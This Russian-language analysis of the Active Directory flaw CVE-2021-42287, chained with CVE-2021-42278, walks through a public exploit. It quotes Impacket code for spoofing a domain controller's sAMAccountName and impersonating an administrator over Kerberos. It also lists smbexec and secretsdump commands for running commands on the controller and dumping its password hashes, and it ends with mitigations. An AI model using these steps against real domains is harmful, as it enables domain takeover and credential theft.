
Уязвимость BDU:2021-05914 (cve-2021-42287) Active Directory Domain Services
Уязвимость BDU:2021-05914 (cve-2021-42287) в компоненте Active Directory Domain Services (AD DS) Windows Server связана с некорректной проверкой атрибутов компьютерных учетных записей. Злоумышленник, имеющий стандартную учетную запись в домене, может изменить атрибут sAMAccountName
компьютерного аккаунта, подменив его имя на имя контроллера домена (DC). Это позволяет получить Kerberos-билет (TGT), который в сочетании с другими техниками (например, CVE-2021-42278) используется для эскалации привилегий до уровня администратора домена.
Анализ уязвимости
Уровень опасности: 8.8 (HIGH)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки) – Сетевой: Уязвимость эксплуатируется через сеть.
-
AC:L (Сложность эксплуатации) – Низкая: Не требуются сложные условия.
-
PR:L (Уровень привилегий) – Требуются базовые права пользователя домена.
-
UI:N (Вовлечение пользователя) – Не требуется взаимодействие с пользователем.
-
S:U (Область воздействия) – Не оказывает влияния на другие компоненты.
-
C:H (Конфиденциальность) – Полное раскрытие информации.
-
I:H (Целостность) – Полная компрометация целостности.
-
A:H (Доступность) – Полная остановка работы системы.
Условия эксплуатации
-
Доступ к внутренней сети: Атакующий должен находиться внутри корпоративной сети или иметь доступ к домену через VPN/LAN.
-
Учетная запись пользователя: Требуется учетная запись с минимальными привилегиями (стандартный пользователь домена).
-
Квота MachineAccountQuota: Значение атрибута
ms-DS-MachineAccountQuota
в домене должно быть больше 0 (по умолчанию 10). Это позволяет создавать компьютерные аккаунты. -
Доступ к LDAP/SAMR: Возможность взаимодействия с контроллером домена через протоколы LDAP или SAMR (порты 445, 636).
Анализ кода эксплоита
Общедоступный эксплоит использует связку CVE-2021-42278 и CVE-2021-42287. Рассмотрим ключевые этапы кода эксплоита для понимания работы вектора атаки с использованием уязвимости BDU:2021-05914 (cve-2021-42287):
1. Создание компьютерного аккаунта
Библиотека Impacket (класс AddComputerSAMR
) используется для добавления аккаунта с случайным именем, например, SAMTHEADMIN-42$
:
addmachineaccount = AddComputerSAMR( username, password, domain, options, computer_name=new_computer_name, computer_pass=new_computer_password) addmachineaccount.run()
Это легально, если MachineAccountQuota
позволяет.
2. Подмена имени через LDAP
Атрибут sAMAccountName
изменяется на имя контроллера домена (например, DC01$
):
ldap_session.modify(new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [dc_host]]})
Из-за уязвимости AD DS не проверяет уникальность имени для компьютерных аккаунтов, что позволяет выдать себя за DC.
3. Получение TGT
Используется утилита GETTGT
из Impacket для получения билета Kerberos:
getting_tgt = GETTGT(dc_host, new_computer_password, domain, options) getting_tgt.run()
Билет сохраняется в файл .ccache
.
4. Имперсонация администратора через S4U2self
Механизм S4U2self (часть Kerberos) позволяет запросить билет от имени администратора:
executer = GETST( None, None, domain, options, impersonate_target=random_domain_admin, target_spn=f"cifs/{dcfull}" ) executer.run()
Теперь атакующий может выполнить команды с правами выбранного администратора.
Пример эксплуатации
После получения билета запускается smbexec
для выполнения команд:
KRB5CCNAME='admin.ccache' impacket-smbexec -k -no-pass dc01.domain.local
Или дамп хэшей через secretsdump
:
KRB5CCNAME='admin.ccache' impacket-secretsdump -k dc01.domain.local
Защита от уязвимости
-
Установка патчей: Microsoft выпустила исправления в ноябре 2021 года.
-
Ограничение MachineAccountQuota: Установите значение
ms-DS-MachineAccountQuota
в 0. -
Мониторинг изменений: Контролируйте изменения атрибутов
sAMAccountName
и создание компьютерных аккаунтов. -
Принцип минимальных привилегий: Запретите стандартным пользователям создавать компьютерные аккаунты.
-
Аудит Kerberos-билетов: Используйте средства вроде Windows Event ID 4769 для отслеживания аномальных запросов TGT.
